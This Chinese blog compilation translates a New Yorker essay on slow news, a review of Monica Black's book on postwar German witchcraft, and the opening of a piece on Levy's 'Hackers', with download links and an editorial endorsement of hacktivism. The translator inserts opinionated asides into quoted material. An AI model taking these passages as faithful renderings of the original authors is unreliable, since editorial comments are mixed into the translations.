我通常觉得自己好像能够“及时”了解当天最重要的新闻报道，但我的阅读往往是零碎的—— 我只是粗略地浏览故事或吸收部分更新。虽然我的阅读比以往任何时候都多，但我常常觉得我的理解力比任何时候都少。

我一直没能停止以这种方式获取消息，但我现在试图在某种程度上改变这一方式。我采用了一种新的仪式：在早餐和通勤时阅读印刷版报纸。

自从我开始越来越多地在网上获取新闻时，我一直在忽视报纸。而报纸能让我以更集中的方式参与新闻，而不是碎片化的信息消防栓。当然，我能够更广泛地阅读。我读过不在我的社交媒体 Feed 中的文章，或者在浏览应用程序时被我错过的文章；当然，很多人都尝试过这样的实验。人们已经做了很多关于如何解除手机束缚的实验、试图挽回从注意力范围到心理健康的一切。

乔治城大学计算机科学教授 Cal Newport 在他的新书《数字极简主

义：在嘈杂的世界中选择聚焦生活》中，证实了电子设备的上瘾特性并非偶然，而是产生于科技公司仔细考虑反馈循环中的经济利益、让人们更长时间留在网上的心理操纵伎俩。

Newport 的主要指向是社交媒体平台，但他也认为人们需要重新思考自己消费新闻的方式和习惯。他写道，如果你长时间接触现在总是在重大新闻事件之后出现的“不完整、多余、且往往矛盾”的信息的在线洪流，只会适得其反，并且越是专注于此，你就越难以了解事实全貌。

他继续说，即使在某一天没有发生任何惊天动地的事，人们仍然会采取习惯中的那种无聊的媒体消费模式。“例如，如果你对政治感兴趣，并倾向于政治光谱的左侧，这个序列可能会从 CNN、纽约时报主页、Politico、大西洋，到你的 Twitter feeds，最后到你的 Facebook 时间线“；技术人员可能会添加 Hacker News 和 Reddi；体育迷们加上 ESPN。媒体公司从这个“利润丰厚的流量市场”中获利。

「图」

「图」

“你每天十次检查十个不同的网站会让他们赚钱，但是，这样做并不会让你比每天只检查一个有价值的网站获得更多的信息，”他总结道。

2008年，哥伦比亚新闻评论发表了一篇标题为“Overload！”的文章，该文章研究了“信息过多时代的新闻疲劳”。

当“Overload！”发布时，黑莓手机仍占据智能手机市场的主导地位，推送通知还没有进入 iPhone，转推还没有内置到 Twitter，而且 BuzzFeed News 也不存在。

回顾过去，2008年遭受信息过载困扰的思考似乎非常古怪。而现在，十多年后，新的困扰似乎正在我们每个人的身上。

去年，苹果公司首席执行官蒂姆·库克（Tim Cook）公布了一项新的 iPhone 功能：屏幕时间，它允许用户跟踪他们的手机活动。在一次采访中，库克表示，他正在监控自己的电子设备使用情况，并“大幅削减”了他收到的通知数量。更多详见：互联网将变为穷人和老人的天下，富人们正在努力远离电子设备《"穷人的屏幕"》。

新闻机构是时候思考这个问题了。新闻转载已经大大缩小了人们在网

上能关注到的内容比例；而随着 **Facebook**、谷歌和其他技术平台垄断了我们的数字化生活，新闻机构不得不承担一个附属的角色，依靠那些所谓的门户和集中化社交媒体平台来获取流量。（更多详见：《互联网的经济模式如何杀死了异议》）

这种依赖性对于追求报道、如何呈现报道、以及报道的速度和数量，均产生了强大的影响。

在2017年出版的《没有思想的世界：大型技术公司的存在威胁》中，The New Republic 的前主编 Franklin Foer 写道："通过在 **Facebook** 获得点击量"和"坚持不懈地游戏谷歌的算法"，媒体正陷在一种疯狂的和无耻的追踪游戏中。

长期以来，报纸和杂志一直在试图吸引大量读者，但这些努力主要在其新闻产品流通的省份；如今，不论是传统新闻机构还是在线出生的新闻机构，所谓的受众量指标都是无处不在的。

在纽约时报，新闻编辑室里的每个人都可以随时查看内部的、定制的"流量分析工具"，该工具可以显示有多少人在阅读每个报道，这些人都来自哪里，他们使用的是什么样的设备，这篇故事如何被宣传，以及等等一切。

此外，商业构建的受众工具（如 Chartbeat 和 Google Analytics）也可被媒体广泛使用。作为newyorker.com的编辑，我为Parse.ly打开了一个浏览器选项卡，这个应用程序可以实时地向我展示我们网站上各种故事的读者人数。

即使在致力于确保编辑价值而非商业利益的新闻机构内，在确定报道范围内，编辑也很难决定应该对这些指标给予多少关注。

"卫报"的前任主编艾伦·拉斯布里奇（Alan Rusbridger）回顾了他的报纸决策过程中逐渐引入的指标。他写道，目标是拥有"一个数据参照的新闻编辑室，而不是数据主导的编辑部。"但很难知道前者何时成为后者。（禁止装傻。前者从一开始就是后者，否则为什么要"参照"？）

对于通过广告维持的数字媒体组织来说，诱惑几乎是不可抗拒的。每当读者从社交媒体或搜索平台访问新闻网站时，无论浏览多么粗略简短，访问行为都会给网站带来一定的收入。

Foer 将这种现象称为"流量驱动"。随着 Facebook 和谷歌的发展，他

们已经压低了广告价格，并且来自过路客流量的每次点击收入缩减了；即便如此，流量经济继续为任何令人沮丧的现代媒体趋势提供激励，包括 clickbait 头条新闻，无知的记者匆忙写成的所谓“热门话题”一直在激增，以及越来越同质性的报道，因为每个人都在追逐相同的热门新闻故事，每个媒体都在拼命夺取马太效应带来的流量。任何生产成本低廉并且有可能在 Facebook 或 Google 上产生点击量的内容，现在都是创收的“受众机会”。

从理论上讲，基于订阅的模型应该是一个显著的改进，取代对页面浏览的不懈追求，创造在其他任何地方都找不到的新闻业的优越目标，值得付出代价。Foer 断言，基于订阅的读者收入是媒体寻求保持其编辑基本人格的唯一可行途径。

在他想象的商业模式中有一种让人放心的自由：一个出版物可能会专注于其真正的粉丝，而不是追逐那些从谷歌搜索某些热门话题登陆您网站的访客，他们一次点击后就不会再回来。

“媒体需要缩减他们的贪婪，回归他们的利基，重新获得核心观众的忠诚度，”Foer 写道。“为了拯救自己，媒体需要向读者收取费用，读者需要付费。”

但是，最常见的订阅增长方法在很大程度上依赖于与广告驱动的媒体业务采用的许多相同策略。大多数追求从消费者身上获得收入的新闻机构采用了计量付费墙策略，在要求订阅访问权限之前，读者可以每月访问一定数量的免费文章。这使得非订阅者可以在决定付费之前了解该出版物，在这里或那里（可能在几个月或更长的时间内）对一件作品进行考察。

然而，Facebook 和谷歌仍然是吸引读者进入这个所谓的订阅漏斗的重要门户。所谓的“趋势”故事的暴政仍然存在。

此外，将临时访客转变为普通读者的工作也创造了自己的一系列激励措施。之所以会在我们的手机上发布与新闻相关的推送通知，其部分原因在于媒体需要一次又一次地吸引读者。吸引读者订阅需要不断创造新的和多样化的材料。读者每月沉浸在一两篇文章中是不够的; 他们必须能建立对网站的忠诚度、反复地返回，直到他们到达付费墙的额度。质量至关重要—— 但显然，这也必须大规模的生产。

最近，我开始怀疑，像 Newport 一样，大量的在线新闻是否实际上已经违背了让读者知情的目标。对这个问题的研究非常少。西北大学传播研究教授 Pablo Boczkowski 告诉我，“我的预感是，读者得到的

信息并不比以前少，他们只是得到了彼此不同的信息。” 没错，这是一针对性的宣传—— 迎合口味、巩固固有认知偏见。人们越是知道什么就越容易相信和喜欢什么。

在 Boczkowski 的研究领域中包括年轻人如何与今天的新闻互动。大多数人不会在网上寻求新闻；相反，他们*偶然*在社交媒体上*遇到*新闻。他们可能会通过手机或计算机检查来自自己的“朋友”的更新或消息，并且一路上会遇到来自新闻网站的帖子。

很少有人在早上坐下来阅读印刷报纸或者在晚上看电视新闻。Bockzkowski 说，相反，他们不断被“被新闻所*触动*。这是环境的一部分。”

渗透的新闻吸收效果有多好？研究发现人们以惊人的速度在计算机上的不同任务之间切换反弹；去年发表的一篇论文发现，中位切换时间为11秒。如何将移动设备引入计算中，切换速度只会更快。毫无疑问，新闻被削减成更小的一部分了。

“如果你是一个普通的网站，你只有五到七秒的时间讲述你的故事，人们停留在你的报道中的耐心很可能不会超过10秒钟，不论文字有多大的价值”，Boczkowski 告诉我。因此，似乎有理由猜测，人们现在在一般层面上更多地了解新闻中不同的主题，但是，他们在任何一个领域的理解程度都非常低。

即使那些倾向于深入和广泛地参与新闻的读者，也已经严重受到社交媒体过滤泡沫的限制，在这些泡沫中，只有那些令人愉快的和能引起激烈情绪反应的内容才会被优先考虑。

在民主的角度上，新闻业的核心目标是让公民知情。然而—— 尤其是在自由浮动的环境新闻的状态下—— 并不完全清楚*知情*意味着什么。

在1998年的《好公民》一书中，现在在哥伦比亚大学新闻学院任教的社会学家 Michael Schudson 认为，“知情公民”的理想一直是不切实际的—— 公民意味着：具有陡峭的时间、纪律和专业知识的人自己参与政治并充分参与公民生活。

他写道，这一概念的创始人预期公民拥有相对较少的政治知识，需要不断补充；直到一个多世纪之后，当进步时代的改革者试图控制党内机器、并使个人选民做出深思熟虑的决定时，*知情公民*的理想并未成功（也是在这一时期，独立媒体开始成为一种商业现象，新闻界变

得越来越专业化）

Schudson 提出了一种公民身份模型，他认为这种模式更贴近生活：“监督者公民”—— 一个能准确注意到政治现状但并不总是充分参与的人。他写道：“监督者公民参与政治环境监督、而不仅仅是收集信息。”“父母在社区游泳池看小孩。他们没有在收集信息；他们正在关注现场。他们看起来不活跃，但如果需要采取行动，他们就会准备采取行动”。

Schudson 认为，监督者公民甚至可能“比过去的公民拥有更大的信息量，因为在他们的脑海中，他们有更多的信息构建的完整场景。”当时机成熟时，他们将部署这些信息—— 比如投票给谁，或者批准哪一项重要的措施。

从理论上讲，社交媒体时代可以使我们成为更好的监督者公民。好的，依旧仅仅是理论上的。

但是，Schudson 的模型假定监控者公民将在适当的时刻被*激活*，并没有预料到 Facebook、Twitter 和其他平台可以轻松应对“游泳池的恐慌”。今天的很多危险—如英国退欧和反疫苗活动所表明的现象—是一种误报，真实的更大的背景性危险被巨头公司的算法屏蔽了，当然，同时也被追求吸睛度的媒体所忽略了（引发人们从未思考过的问题带来的恐惧只会降低你的流量收入）。

2017年，认知科学家 Steven Sloman 和 Philip Fernbach 出版了《知识幻觉：我们为什么从来没有单独思考》这本书。这本关于表面知识的危险的书，提供了与我们的社交媒体新闻生态系统如何在我们的民主中导致不良后果的充分解释。

人们大大高估了自己所知道的东西，他们不合理的强烈意见被其他同样不了解情况的人所强化，创造了自我强化的错误信息社区：

当小组成员在不太了解情况的状态下分享彼此的立场时，成员之间可以加强彼此的理解感，让每个人都觉得自己的立场是“合理的”、他们的使命是明确的，即使没有真正的专业知识能证明这一认知的合理。每个人都认为其他人应该认可他们的观点是正确的，因此*观点*只是依赖于海市蜃楼。

同年，我的同事 Elizabeth Kolbert 在一篇名为《为什么事实不会改变我们的想法》的文章中引用了 Sloman 和 Fernbach 的作品。“如果你对平价医疗法案的立场毫无根据，而我依赖于你的立场，那么我的观

点也就毫无根据，”她解释道。

“当我和 Tom 谈话并决定让他同意我的意见时，那么他的意见也毫无根据，但现在我们三个人一致同意我们对自己的观点，我们都会变得更加自鸣得意。如果我们现在都认为任何与我们的观点相矛盾的信息都不能令人信服，那么你就会得到特朗普政府的诞生。“

「图」

「图」

事实证明，有一种方法可以刺破这种*知识错觉*。它涉及强迫人们详细解释如果他们对特定公共政策问题的看法付诸实践后会发生什么。

当我们试图提供“因果解释”时，我们就会意识到自己是多么无知。反过来，这种认识使我们的观点变得不那么极端了。这种见解对媒体具有明显的影响：即 深度问题。

与复杂性相关的新闻，审查拟议政策的含义，并提供给公众严谨的分析，可以促进更加明智和更少极化的公民。

然而，别忘了你正在互联网上，即便 Schudson 是正确的，那么也只有一小部分读者会有时间、有倾向和闹心的性情变得如此理智。

越来越多的人将成为监督者公民，而不仅仅是知情人士—— 而且，由于社交媒体消防栓和大量的新闻业务，他们将很容易受到惊吓和分心。在这场大漩涡中添加更多故事可能会为媒体组织带来一定的经济意义，但是，这并不一定能让公民更好地了解情况。它可能只会进一步破坏我们的知识。

也许我们需要重新调整我们与媒体的关系—— 重新思考我们应该如何更普遍地使用信息、以及知情本身的意义。

在最近的一本书《慢媒体：为什么’缓慢’令人满意》中，记者和媒体学者 Jennifer Rauch 追踪了一个大约十年前开始融合的运动。在这里下载这本书：https://t.me/iyouport/6711

2010年，Sabria David，JörgBlumtritt 和 BenediktKöhler 在线出版了一份名为 “The Slow Media Manifesto” 的文件，这三位德国人拥有媒体和技术背景。该文件敦促记者和读者从慢食运动中汲取灵感，该运动强调质量和永恒。

作者写道，“慢媒体不是关于快速消费的，而是关于选择成分并集中精力精心准备它们”。“慢媒体不能随便消费，而是要激起用户的全部注意力。正如生产一顿美食一样，需要厨师和他的客人充分关注所有感官效果，慢媒体只能在全心投入高度机敏的情况下被享受。

Rauch 指出了2011年英国成立的 Slowed Gratification，作为慢媒体行动的一个例子。Slowed Gratification 有一个网站，但主要是基于印刷版的，被称为“世界上第一个慢速新闻杂志”。

它承诺重新审视“过去三个月的事件，看看尘埃落定后新闻议程继续后发生了什么”，并表示自己“自豪地成为’最后的突发新闻’。”

与此同时，今年早些时候，英国广播公司前新闻和时事主任 James Harding、道琼斯前总裁 Katie Vanneck-Smith、前美国驻英国大使 Matthew Barzun, 推出了“Tortoise Media”，其目的是每天发布五个数字故事，以及一份季刊。

Tortoise 的形成是对新闻生态系统中压倒性的“日常噪音”的直接反应。“问题已经不仅仅是假新闻或垃圾新闻了，”该网站上的一份声明称，“因为它有很多好处—— 只是它才能有这么多的好处。匆忙、片面、令人困惑，太多的新闻编辑拼命追逐新闻，却错过了整个故事。“

新闻业总体上会变慢吗？当我读到慢媒体运动—— 到目前为止，这似乎是一个主要由欧洲引导的现象—— 我不可避免地想到了美国杂志行业的趋势，那里的出版物正在试验付费墙和搅拌数字内容。

慢媒体的吸引力在于它排除了更广泛地塑造新闻业的技术压力。这是试图收回我们对新闻的体验的方式。它还涉及放弃知识的幻觉，即 在社交媒体上被动消费新闻有助于使我们最好的掌握自己成为获取信息的行为。

所有媒体组织的挑战，无论是否缓慢，都是通过这种相互冲突的激励和理想的格局制定经济上可持续的负责任的进程。数字时代所产生的速度和体积的压力不容忽视—— 但它们可以被抵制。

即使出版商试图变得更快，他们也仍然可以问自己，特定区域的细粒度覆盖是否真的让读者更加了解情况？他们仍然可以考虑查看某些趋势故事，他们可以全面地做更多事来应对复杂性。

读者也可以开始意识到自己被当前的媒体杂音所困扰的事实。让我们

希望，当人们开始寻找替代方案时，他们仍然能够找到可以超越喧嚣嘈杂的真正新闻。

The Urgent Quest for Slower, Better News. The current system for delivering news online is broken. Readers and journalists will need to work together to find a new one. “If your position on, say, the Affordable Care Act is baseless and I rely on it, then my opinion is also baseless,” she explains. “When I talk to Tom and he decides he agrees with me, his opinion is also baseless, but now that the three of us concur we feel that much more smug about our views. If we all now dismiss as unconvincing any information that contradicts our opinion, you get, well, the Trump Administration.”

原文

当民主失败，巫术蓬勃发展：”恶魔困扰的土地” - iyouport

免费书和纪录片

那些陷于痛苦、压力和无助中的人们期待为内心寻找一份合理的解释，当人们无法通过参与政治决策以掌握自己的命运时，神秘学就成为了唯一可以抓住的稻草 ……

这本书让我们想起了一些有趣的故事。

在去年冠状病毒爆发的最初，我们与一些中国朋友交流，其中一些人用 “推背图” 来为我们解释为什么2020的疫情 “是必然的”。我们对推背图一无所知，也无法理解其中的文字和绘画，但从这里开始，我们了解到，推背图这个古老的预言工具近年来在中国一定程度上格外热门。

除此之外我们还听闻到，西方的占星术在中国也是备受欢迎的，甚至很多年轻人主动去接受占星术的 “培训”，因为据称 “它在互联网内容市场上很赚钱”。一位做国际政治分析的中国记者朋友使用占星术为我们解释地缘政治局势，用政客的星座运势分析预测政治前景，非常有趣。

这些年来的中国年，我们在网络上看到和学到了很多中国的祈福文化，比如正月初五接财神，各行各业的人们在微信朋友圈张贴财神的图像，在群组中讨论 “是开门还是开窗才能更准确地将财神接到家里来”，而不是 “为什么不平等的制度导致我无论如何努力都依然会对未来忐忑不安”。

就如几十年前流行的 “养生神医”，主张不吃药不看病治好顽疾，被穷苦的底层老百姓广为信仰，这并不是文化素养和智商的问题，而是对看病难、看病贵的社会压力的愤怒嘲讽 ……

我们观察这些迹象很久了，包括中国网店上销售的那些祈福占卜的工具和服务，这些社会现象与越来越难以预测的政治经济局势同步发

生。3年前我们发布过《解释无法解释的行为心理学：当逻辑失败，迷信到来》，在这里，迷信已经超出了它作为传统文化保留的民间娱乐节目的功能，它变成了一种依靠，在无助的时代里帮助消除恐慌感的理论依据。

尤其是去年开始，很多观察家们再次重新讨论中国的种族歧视问题，一如既往，这些讨论者在此将中国问题严重地特殊化处理了，这比误解更糟糕。

我们一直在说，中国的事没有那么特殊，也没有那么复杂，我们总是将全世界的同类案例放在一起讨论，希望能提醒我们可以在全世界很多国家借鉴反抗智慧，学习和联合。但将中国的问题特殊化和复杂化加以表述，符合很多人的利益，非常多的人，其中有些人用这种方法来赚钱，也有些人用它来维护一个身份角色，另一些人则用它来为虚无绝望做辩护。信仰中国特殊的人们的共同点是，他们都放弃了直接可行的解决方案，因为这样的解决方案破坏了他们的利益基础。

这本书中所解释的问题在全世界人类中都是存在的。

本文将要介绍的这本新书《A Demon-Haunted Land: Witches, Wonder Doctors, and the Ghosts of the Past in Post–WWII Germany》作者 Monica Black，您可以在这里下载：https://www.patreon.com/posts/dang-min-zhu-shi-50420531

【注：以下文字中的 “我们” 是指美国。】

去年8月31日，特朗普告诉福克斯新闻主持人劳拉·英格拉姆，“黑暗阴影” 中的人正在控制乔·拜登。在英格拉姆的追问下，特朗普阐述道：“本周末，我们有人从某个城市上了飞机，飞机上几乎全是身穿深色制服的暴徒，黑色制服上有装备，还有这样那样的东西。”

如果不是符合过去四年来贯穿整个国家的偏执的、阴谋论的、甚至是神奇的思维的时代潮流，总统的这番狂言可能会显得很神经病。去年早些时候，特朗普赞扬了休斯顿的一位牧师和儿科医生斯特拉·伊曼纽尔（tella Immanuel），她认为卵巢囊肿是由于与恶魔性交造成的。一批右翼选民加入了QAnon阴谋论，他们认为由自由派政客和好莱坞精英组成的阴谋集团领导着一个国际儿童性犯罪团伙。为了应对COVID-19造成的死亡人数激增，副总统迈克·彭斯在共和党全国代表大会上说：“美国是一个创造奇迹的国家”，并说 “到今年年底” 就会有COVID-19疫苗。特朗普还建议将照射紫外线和注射消毒剂作为COVID的可能治疗方法。

虽然这种想法无疑在美国右翼人士中大行其道，但左翼人士也沉溺于阴谋论和神秘主义思想中。反疫苗接种运动始于富裕的自由派。在美国一些最富有的城市和郊区，未接种疫苗的儿童高度集中，而且民主党人比普通美国人更容易相信占星术。

这种对神秘主义、奇迹和阴谋论的偏爱似乎与人们所谓的理性、现代的民主完全矛盾。然而，历史学家莫妮卡·布莱克（Monica Black）的一本新书表明，非理性在战后秩序中从未缺席过，而且，神秘主义思想的大量爆发往往伴随着极端的政治动荡时期。

布莱克的《被恶魔困扰的土地》这本书通过研究二战后十年间席卷西德的魔法思维的狂潮来说明这一情况。在这一时期，今天作为自由民主灯塔的德意志联邦共和国被女巫恐慌和假弥赛亚所困扰。布莱克描绘了一个无法接受其暴力历史—— 尤其是纳粹主义罪行—— 的国度的形象，也暗示了这个年轻的共和国与我们的国家之间令人不安的相似之处。

布莱克是一位令人回味的作家，与她的主题相称，她以史诗般的语言描述了二战结束时德国的灾难性事件。当盟军获胜的事实变得很明显时，纳粹领导人 —— 其中许多人长期以来对神秘学感兴趣 —— 开始对可能拯救这个崩溃的国家的“神奇武器”抱有希望。与此同时，普通德国人也转向了魔幻的思维：

当时的人们做了人类在面对理解的空白时一直在做的事：他们在自然界中寻找预兆 ..... *1944*年秋天，在苏台德地区，人们报告说，东部的天空中有一团巨大的烟雾，还有一个血淋淋的拳头，在威胁性地摇晃。在下西里西亚，人们看到太阳在“跳舞”，看起来好像随时都会与地球相撞。目睹者认为，世界很快就会‘在火焰和死亡中沉没’。一把火红的剑在波西米亚森林上空显现。有人目睹了天堂中一个巨大的十字架，其中心是满月。在下萨克森州的弗里索伊特，一个自称有第二视觉天赋的当地人看到了一个异象：他的整个城镇都被火焰吞噬了 .....

世界末日的预兆随着1945年战争的结束而减少，但对超自然现象的信仰仍然存在。从1947年到1956年，在西德有七十七起涉及巫术指控的审判记录，这个数字甚至还没有考虑到还有几十起从未上过法庭的巫术指控。在1949年西德建国时，这个新国家的报纸和小报充满了关于女巫和药师在乡间游荡的报道。布莱克要求读者考虑：如果我们不把这些事件当作边缘事件，而是当作揭示其文化真实性的时刻，它将如何改变我们对年轻的德国民主的看法 —— 以及它与纳粹历史的关系。

学者们长期以来将西德描绘成一个成功的故事：在国家社会主义的废墟上，这个国家形成了一个稳定的议会民主制。虽然土地在1945年被摧毁，盟军的轰炸使大约80%的城市建筑变成了废墟，但西德的经济在1940年代末到1950年代积极反弹，这是一个被同时代人称为 “经济奇迹” 的增长时期。1955年，西德恢复了大部分的主权权利，重新武装起来，并加入了北约，成为西方全球主义项目的合作伙伴。

但是，在过去的二十多年里，历史学家们越来越怀疑这些简化了的成功叙事，尤其是与西德的第一个十年有关的叙事。学者们现在指出这个国家的极端厌女症和父权制结构，以及对男同性恋者的迫害（在1969年废除纳粹时代的同性恋法规之前，有5万多名男子被定罪）。现在看来，“Zero Hour” 将纳粹时代与战后截然分开的想法主要是本世纪中期乐观主义的产物。

【注：“Zero Hour” 指1945年5月9日纳粹德国的代表在柏林和苏军签署德军无条件投降书于本日零时生效，投降书的生效标志着第二次世界大战结束。】

对于赞同这种怀疑论的布莱克来说，最重要的是，西德在清除纳粹主义方面并没有做什么。今天，大多数历史学家都同意，西德的反纳粹化努力是失败的。很少有纳粹分子受到审判，被定罪的更少。大多数被定罪者在20世纪50年代根据新的大赦法被释放。西德第一任总理康拉德·阿登纳（Konrad Adenauer）的政府允许许多前纳粹官僚重新获得他们的养老金和工作，导致一些人称之为公务员和司法部门的 “重新纳粹化”。康拉德·阿登纳 （ Konrad Adenauer） -1963年卸任时

与此同时，一种深刻的沉默笼罩着纳粹时代的罪行，一种默契是人们根本不谈论那些年。布莱克写道：“沉默，正是让一个因知道它包含各种人—— 那些曾努力支持纳粹的人，那些曾积极反对他们的人，以及介于两者之间的每个人—— 而被撕裂的社会能够共同重建成一个国家的原因。” 但是，布莱克认为，对一种记忆的压制，恰恰导致了另一种记忆的产生：“过去常常以女巫、神医和奇迹工作者的形式滑入视野 …… 就像一个幽灵，想要提醒活着的人们，它在地球上的工作还没有完成。”

布莱克的叙述中充满了丰富多彩的轶事和有魅力的人物。它的主要主人公之一是布鲁诺·格罗宁（Bruno Gröning），一位从1949年到1959年在西德流浪了十年的奇迹工作者。他第一次出现在威斯特伐利亚州的黑尔福德市，据称他在那里治愈了迪特尔·胡尔斯曼（Dieter Hülsmann），一个从未能正常行走的9岁男孩。1949年3月，Hülsmann 一家带着格罗宁去看他们的儿子，“这个孩子的腿突然有了

感觉 …… 他的腿和背部有一种灼热感。他冰冷的四肢突然变暖。第二天早上，无论多么不稳定或犹豫不决，在战后那个凄凉的冬天里大部分时间都躺在床上的这个男孩，忽然站起来走路了。

关于 “黑尔福德的救世主” 的消息像野火一样传遍了这片土地。布莱克讲述了西德媒体如何急切地开始报道这位新的 “神奇医生”，以及渴望得到救赎的人群如何涌向德国西北部的小村庄。

在接下来的几年里，布鲁诺·格罗宁在全国各地旅行，与不同的商人和新教徒打交道，这些人希望从他的神秘力量中获利。格罗宁走到哪里，诉讼就跟到哪里，还有人指责他违反了德国医疗法。最终，格罗宁在巴伐利亚受审，被指控犯有过失杀人罪等。不过，在法庭案件和上诉结束之前，他于1959年死于胃癌。布鲁诺·格罗宁（BrunoGröning）德国的神秘主义者，曾就信仰疗法进行过很多讲座。在第二次世界大战后的1940年代和1950年代活跃于德国。

格罗宁只是1950年代众多西德神奇医生中最突出的一个。布莱克对这些事件的处理方式是精神分析式的：在她看来，这些信仰治疗师代表了 “战后西德社会的困扰” 的一种 “垂直” 形式。也就是说，“那些感到痛苦、内疚或被诅咒的人们期待着一个救世主，而这个救世主恰好在他们最需要的时候出现了”。像格罗宁这样的人物所提供的救赎并不纯粹是身体上的，它是对那些知道自己是国家社会主义罪行的同谋的人们的良心的一种救赎。

对神医的信仰并不是这种 ”困扰” 的唯一表现方式。就在格罗宁在大批群众面前施展魔法的那几年，对巫术的指控震撼了西德，特别是在该国北部的小社区。

布莱克把读者带到了遥远的迪特马申（德国石勒苏益格-荷尔斯泰因州西部的一个县），“在一个压倒性的城市化国家中，这里有更多的农村，一个由潮滩、石楠和沼泽组成的奇特而有时不可思议的景观”。1952年10月，在迪特马申村当旅馆老板的汉斯和埃尔纳，请 Waldemar Eberling—— 一个被赋予某些神奇能力的橱柜制造商——来治疗他们生病的婴儿。“Eberling 来到这家人的家里，用咒语来治疗那个婴儿，这是一种依靠魅力、手势和语言的药物”（类似中国的 “跳大神”），布莱克报告说。后来，Eberling 告诉这家人，他们 “被一股邪恶的力量所控制”，并指认前市长克劳斯以及一位叫 Frau Maassen 的人是女巫。

虽然这类指控没有导致酷刑、火刑或处决，但它们确实使社区分裂。迪特马申的 Frau Maassen 在听到这些指控后身体出现了不适。克劳

斯对造谣者提起了诉讼。这些指控以复杂的方式与去纳粹化交织在一起。

这个 Eberling 在该镇的另一位病人是前纳粹时代市长的女儿。她说，在纳粹 “垮台” 之后，人们对她的父亲 “非常不好”，并支持 Eberling 的说法 —— 他在盟军占领下被任命为市长，并监督被没收财产的重新分配—— 是一种 “邪恶力量”。

这样的指控—— 在西德建国后的几年里有几十起—— 在20世纪50年代初在德国北部肆虐。这些指控是由 “未解决的不满、对暴露的恐惧以及与纳粹时代和非纳粹化有关的被压制的敌对行为所激起的”。

这本书不仅对战后德国的历史进行了精彩的重新思考，而且要求我们将非理性视为现代性的一个组成部分。布莱克敦促我们理解，对当时的西德人来说，这种神奇思维的爆发不仅是真实的，而且赋予他们的生活和行动以意义。如果没有这些，我们就会错过关于这个时期的一些关键因素。

这对于理解我们当前的政治是一个很好的教训。布莱克告诉我们，神奇的思维和巫术，“在不稳定、不安全和萎靡不振的时刻更容易浮现。她可能是在写当今的我们。在一个被几十年的新自由主义政策掏空的国家里，巨大的贫富差距将特权阶层与其他人区分开来，人们转向非理性和阴谋的解释，从 QAnon 到对有毒疫苗的恐惧，似乎并不奇怪。

不过，目前的经济和政治困境可能只说明了故事的一部分。正如布莱克在这本书中所说，对大屠杀和其他纳粹罪行挥之不去的负罪感有助于激发对格罗宁等神奇医生的热烈欢迎和对巫术的狂热。

赫尔曼·蔡斯（Hermann Zaiss）是20世纪50年代在西德游荡的另一位救世主，他告诉他的追随者：“我们知道 ……我们中的犹太人被鄙视、嘲笑、殴打和抢劫 —— 只要想想水晶之夜 —— 每个人都知道那时发生了什么 …… 六百万犹太人被杀，那都是我们的人干的”。他的大规模医治布道为救赎带来了希望。

就像德国人被迫反思自己在谋杀中的共犯一样，美国人也开始反思我们国家几个世纪以来的种族主义暴力和剥夺的遗产。这部纪录片长达4小时，对种族主义暴力的历史进行了深刻的反思 —— 推翻了主流叙事的虚伪和美化。这部片子能够得以发行显示了反抗运动的卓越成效。

布莱克说："闹鬼的故事表达了美国白人生活中心的一种无法言说的和升华的恐怖，复仇的幽灵会回来并夺回属于他们的东西。魔幻思维提供了一种折射出对这种邪恶的责任的方式—— 要么通过寻求精神救赎，要么通过将内疚投射向一个神秘的和恶魔般的 "他者"。

那些犯下滔天暴行的社会是如何从这些暴行中恢复过来的？正如布莱克所展示的那样，逃往神秘的领域是西德人在1940年代末和1950年代初求助的答案之一。说这些途径是非理性的，并不一定等于说它们是无效的：对西德人来说，它们很可能就是治愈过程的一部分，是那些不能被承认、不能被讨论、甚至不能被低语的事情的逃生阀。

但对我们美国人来说，却很难得出同样的结论。魔幻的思维看起来并不像一个释放阀。相反，它更像是一种互相攻击的方式，破坏我们的政治、医疗和社会体系。在特朗普的身上，以及扶持他的共和党，这种魔幻的思维是颠覆自由、民主秩序的工具。对于那些追随极右翼的人来说，这种效果可能确实是其吸引力的一部分。许多美国人显然更愿意相信阴谋论和世界末日的预言，而不是面对我们国家现实中的种族主义或社会不平等：也许对他们来说，相信魔法比接受自己生活在一个不公正的社会里，更容易些。〇

When Democracy Ails, Magic Thrives

原文

当黑客成为英雄 - iyouport

免费书和纪录片

如今的黑客已经不是它最初的样子了 ……

【按】如您所知，我们是黑客主义的支持者，我们认为黑客主义行动是21世纪最重要的直接行动之一。但在您准备开始之前，了解一些黑客的历史和演进过程，尤其是其中存在的问题，可能会很有意义。

本文主要介绍一本经典书目，文末还推荐了其他相关书目，您可以参考。

40年前，“黑客” 这个词还鲜为人知。它从默默无闻到成为报纸头条，在很大程度上要归功于科技记者史蒂芬·利维，他在1984年不顾出版商的阻拦，将他的第一本书命名为《黑客》。

黑客是一种计算机爱好者的亚文化，对他们来说，编程是一种职业，把玩计算机是一种生活方式。利维将黑客文化的起源定位在20世纪50年代末和60年代的麻省理工学院本科生中，然后通过70年代的加州个人电脑运动和80年代初的家用电子游戏产业来追踪其发展。(目前最常见的黑客的含义直到多年后才被确定）

《黑客》出版于特雷西·基德尔的《新机器的灵魂》后3年，在这期间已经发生了很多变化。基德尔假设读者从未见过微型计算机，更不用说设计了；相比之下，到了1984年，电脑极客已经成为流行文化的一个重要部分。与基德尔不同，利维必须让人们重新考虑他们认为已经知道的东西。计算机突然间无处不在，但它们仍然陌生到足以激发大量的流行书籍来思考微芯片所引发的个人和社会变革。短暂的家用电脑热潮将电脑编程带入了数百万美国中产阶级的客厅和地下室，引发了对电脑上瘾危险的警告。同年出版的一本讽刺指南警告“micromania”。此前一年，电影《战争游戏》提出，沉迷于电脑的年轻人可能会意外地引发核战争 ……

【注：对于维稳当局来说，至今都是如此。还记得我们提到过的解密文件吗？五角大楼的一场名为2018陆空海联合战略特别计划(JLASS)

的军事演习。其中充分显示，五角大楼一直在准备着针对 Hacktivism 的维稳计划。】

让黑客成为英雄，而不是有趣的或有威胁的人物，是一个大胆的举动。即使在计算机界，“黑客” 也常常是一种侮辱，而不是一种自豪感。经理们哀叹那些为了爱而不是为了钱而编程的人所产生的奇怪的工作习惯和不可维护的代码，而计算机科学家则谴责黑客们对实践而非理论的关注。不过，根据利维的说法，“在他们通常不显眼的外表下，他们是冒险家、勇士和艺术家”。他的书为20世纪80年代的业余程序员建立了一个光荣的血统，将电子游戏、个人电脑和文字处理的发明归功于他们的部落。https://www.patreon.com/posts/zhe-bu-shi-leng-42876322

黑客伦理

「图」

